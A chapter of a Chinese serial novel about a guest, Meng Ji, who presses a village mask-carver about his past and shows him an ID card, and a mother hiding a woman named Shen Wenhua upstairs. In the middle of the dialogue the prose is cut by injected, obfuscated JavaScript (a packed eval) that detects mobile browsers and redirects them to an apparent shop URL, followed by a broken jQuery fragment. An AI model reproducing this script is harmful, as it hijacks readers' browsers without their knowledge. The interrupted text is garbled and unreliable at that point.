清晨，冬日的阳光透过薄雾斜斜洒落，仿佛给整个村子披上了一层淡淡的金纱，驱散了连日的阴霾。


    沈无坷骑着电瓶车，嘴里哼着歌，从家里驶向村口。她没有戴口罩，下车时，冷空气刺得她鼻尖发凉。她摘下手套，将手背贴在鼻子上暖了一会儿，这才推门进屋。


    张明德从厨房探出头来，看到她冻得通红的脸，不禁皱起眉头：“你又没戴头盔？”


    “忘带了，懒得回去拿。”沈无坷无所谓地耸耸肩，“妈，你快去休息吧，我来接班。”


    “我得回家一趟。”张明德一边解围裙一边说，“厨房里有我蒸的包子和豆浆，客人要是醒来，你就热一下给她们。”


    “行。”沈无坷点点头，又问，“妈，你回家干啥呀？”


    张明德挥了挥手，没好气地说道：“小孩子别管这么多，我有事先回去了。”


    她们家就一辆电瓶车，张明德骑着它消失在寒风中。沈无坷站在原地，哈了一口气，心里暗想，应该把头盔带回来的，妈回家路上得冻坏了。


    她刚打算进厨房吃点，楼梯上响起了脚步声。沈无坷抬头一看，是李慈若，她今天没穿平时的冲锋衣，只穿了件黑色卫衣，瘦高的身形让她看起来像是从官网照片里走出来的模特。


    沈无坷羡慕地看着李慈若两三步就走下楼梯，随口招呼道：“来，吃包子。”


    孟极走了过来，她睡相不好，头发看起来有些凌乱，特别是头顶那一撮毛怎么都按不下去，显得有些滑稽：“怎么吃包子了？”


    “我妈早上蒸的，不过可能是买来的。”沈无坷从蒸笼里夹了几个包子递给她，递给她，又拿起旁边塑料袋装的长条豆浆。


    孟极已经好久没见过这种包装的豆浆了，她们坐在餐桌上，边吃边聊。


    “你什么时候走？”沈无坷问道。


    “后天。”孟极淡淡地答道，随即用吸管吸了口豆浆。


    沈无坷看着她，忍不住问：“你在这儿也没怎么出去玩，这两天打算干啥？”


    “附近随便走走吧，主要是这几天一直下雪。”孟极说，“今天雪停了，可以出去转转。”


    沈无坷突然冒出一句：“你是南方人吗？”


    孟极有些疑惑：“我长得像南方人？”


    “我不是这个意思。”沈无坷解释，“我是说，你居然因为下雪就不出门了。很多人说北方下雪不用打伞，所以北方人下雪还是会出门，但南方下雪得打伞，我看你下雪不出门还以为你是南方人。”


    “北方的雪干，南方的雪湿，不一样的。和是哪里的人没关系。”孟极说道，“那你呢？你不是南方人？”


    沈无坷挠挠头：“我确实下雪时会打伞……”


    孟极吃完早餐，轻轻放下碗筷，说道：“那你借我把伞吧，我待会儿还得出门。”


    沈无坷看了一眼外面的天色，不解道：“今天天气好得很，没下雪，带伞干啥？”她说着，顺手掏出手机，“李姐，加个微信吧。”


    孟极随意扫了一眼沈无坷的手机界面，拿出自己的手机，对方的头像是那种大学生常用的手绘猫猫头。她随手备注了沈无坷的名字，刚准备退出，耳边就传来了沈无坷的惊呼：“你居然用这种头像？跟我妈的头像差不多！”


    “……这个头像怎么了？”孟极的语气里难得带着一丝无奈。


    沈无坷将自己的头像点开对比，认真点评：“哪有大学生用盆栽当头像的？这花是你自己种的吗？”


    孟极说：“算是吧。”


    太阳逐渐升高，民宿外寂静了几天的水泥路被传来的车声打破。孟极站起身，准备出门。


    沈无坷收拾着桌子，余光瞥见孟极站在原地，迟迟没有动静，她停下手里的活儿，问道：“你站在这儿干啥呢？”


    孟极问：“你妈呢？”


    “回家了啊，”沈无坷不解地皱了皱眉，“你怎么老是问我妈在哪儿……”


    她刚想说你怎么老是惦记着别人的妈，话到嘴边想起孟极的妈妈已经去世，于是硬生生将那句话咽了回去，改口道：“你要找她有事，得等晚上她回来。”


    孟极摇了摇头，轻描淡写地答道：“没事，我就是随口一问。我出门了。”


    马永祥本以为这个人不会再来，没想到她又出现了。


    这次不是饭点，孟极仿佛到了自己家一样，随意地在门口坐下，点了一瓶酒，静静地喝着。马永祥不再把她当作普通的学生，他内心警觉起来，暗自告诫自己，绝不能再提起之前那些事。


    孟极一如往常地坐在窗边，望着院子里枯萎的藤蔓，喝了一半突然问道：“师傅，你家院子打理得挺费功夫吧？”


    “还好，”马永祥答道，“现在冬天不怎么需要打理，秋天才麻烦。”


    “一个人既要开馆，又要刻面具，还要打理院子，确实忙不过来。”孟极顿了顿，话锋一转，“你前妻为什么和你离婚？”


    马永祥脸色一沉，黯然道：“主要还是我的问题。那时我们这儿没有好学校，她老家在县里，学校多一些，她想带孩子回去读书。我父母不同意，于是她就跟我离了。”


    “哦，孩子的教育确实重要，那也没办法。”孟极说，“那你怎么没再婚？”


    “也想过，但一直没遇到合适的。”马永祥叹了一口气，“我们算是和平离婚，现在女儿偶尔还来看我，我已经很满足了。”


    “你们是什么时候离的？”


    马永祥想了想，说：“应该是十六年前吧，面具丢失后，我去了别的村，她陪了我一段时间后，就离了。”


    “十六年前……”孟极在心里默默计算时间。马永祥见她还在喝酒，问道：“要不要吃点东西？”


    “成，你随便给我炒两菜吧。”孟极点头同意，她手里依旧拿着那瓶酒，目光落在院子里，不知在想些什么。


    马永祥越来越看不透眼前的这个人究竟有什么意图，但眼下生意要紧，他转身进了厨房，熟练地从柜子里拿出几袋预制菜，撕开包装，倒入锅中。火苗舔着锅底，油烟很快在小小的厨房里弥漫开来。


    不一会儿，菜便端了上来，比上次还快。孟极掰开筷子，犹豫了一下，问：“这些菜是预制的？”


    马永祥心里一紧，随即尴尬地笑了笑：“我不太会做菜，只能买点这些来应付。不过你放心，干净得很，我自己都在吃呢。”


    孟极抬头看着他，马永祥被她盯得浑身发毛，好在她并不是特别在意，只是说：“只要吃不死人就行。”


    说完，她又加了句：“给我便宜十块钱。”


    “行行。”马永祥连连点头，心里却疑惑：这姑娘看起来不缺钱，怎么还讨价还价？


    时间过去不久，离她吃完早餐不过两个小时，孟极虽然不饿，但还是把菜吃得干干净净。她放下筷子，马永祥觉得尴尬，便没话找话：“你倒挺能喝酒吃辣的，是哪儿人？”


    “京北的。”


    “京北？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564631|142882||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    马永祥若有所思，“前段时间我们店里也有个京北姑娘来住，是个程序员，来这儿度假还整天抱着电脑加班，真是辛苦。”


    孟极闻言沉默，神色渐渐变冷。马永祥看着她的表情，心里渐渐有了些底，随口问道：“你什么时候走？”


    “后天。”


    马永祥笑了笑，“那正好是正月初六，我们这里有跳麻昼的表演，你走之前可以看看，很热闹。”


    “再说吧。”


    马永祥端着菜盘正准备转身离开，突然感觉胳膊被人拽住。他一愣，回头一看，那个年轻人正勾着唇看着他，右手的两指之间夹着一张身份证，身份证的正面清晰地暴露在他眼前。


    “师傅，”她的声音里带着一丝挑衅，“你认识这个人吗？”


    与此同时，另一边，张明德刚从菜市场买完菜，骑电瓶车到了家。她刚停好车，正要开门时，注意到隔壁的老人坐在门口，目光紧紧盯着她。


    张明德在这个地方住了十一年，因为不是本地人，她一直没能学会当地的方言，而老人也不会讲普通话，两人之间的交流一直不算多。虽然如此，张明德偶尔还是会送些包的饺子或烙的饼给老人，维持着普通的邻里关系。


    老人姓王，张明德称她为王姨。见王姨坐在门口一直盯着自己，张明德猜测她可能有什么事，便上前问道：“王姨，你这是在干啥呢？”


    王姨望着她，嘴里说着什么。张明德听得模模糊糊，隐约猜出她是在问自己家里是否来了什么客人。


    张明德心里一阵狐疑，摇了摇头，说最近家里没来人。


    老人依旧站在原地，继续说着什么，语调越来越着急。张明德站了一会儿，始终没能完全理解，最后只能无奈地走进屋里，心中隐隐觉得有什么不对劲，却又说不上来。


    将菜放在厨房后，她脑海中突然闪过一个念头，心中一紧，急匆匆地顺着老旧的木制楼梯快步上楼。楼梯在她急促的脚步下微微摇晃，她几乎是用跑的速度来到了楼上，紧张地喊道：“华姐——”


    沈文华坐在桌前，专心写着毛笔字，听到喊声，她抬起头。


    她面容清秀，五官端正，长发松松地挽在脑后，额前垂落的几缕发丝柔和地遮住了眼角的细纹，露出的眼睛清亮而宁静。


    张明德的神情中透出明显的慌乱，她匆忙问道：“你最近有出门吗？刚刚在门口，王姨问我家里是不是来了什么客人，她是不是已经看到……”


    “明德，”沈文华放下毛笔，神情镇定，摇了摇头，声音里带着一种不疾不徐的安抚，“我一直没离开这栋楼，你不用担心。”


    “可是——”张明德皱着眉头，思绪一片混乱，“那她看到的是谁？”


    张明德突然愣住，想到了孟极，脸色瞬间变得阴沉：“是她，她来了。”


    “是谁？”沈文华不解地问道。


    张明德没有回应，她的表情愈发凝重。沈文华站起身，走近她，想说什么，却见张明德抢先道：“华姐，没什么，我去做饭给你吃。”


    她匆匆转身下楼，沈文华默默收回手，站在楼上，看着张明德的背影。


    良久，她的目光重新投向窗外，那一片又一片被雪覆盖的屋顶在她眼中显得分外凄清。


    二楼因建筑年代久远不便装空调，张明德特意为她买了取暖器。然而，沈文华却很少去打开她。她自幼畏寒，但那年冬天，彻底改变了一切。自那以后，再也没有什么寒冷能比得上那时的万分之一。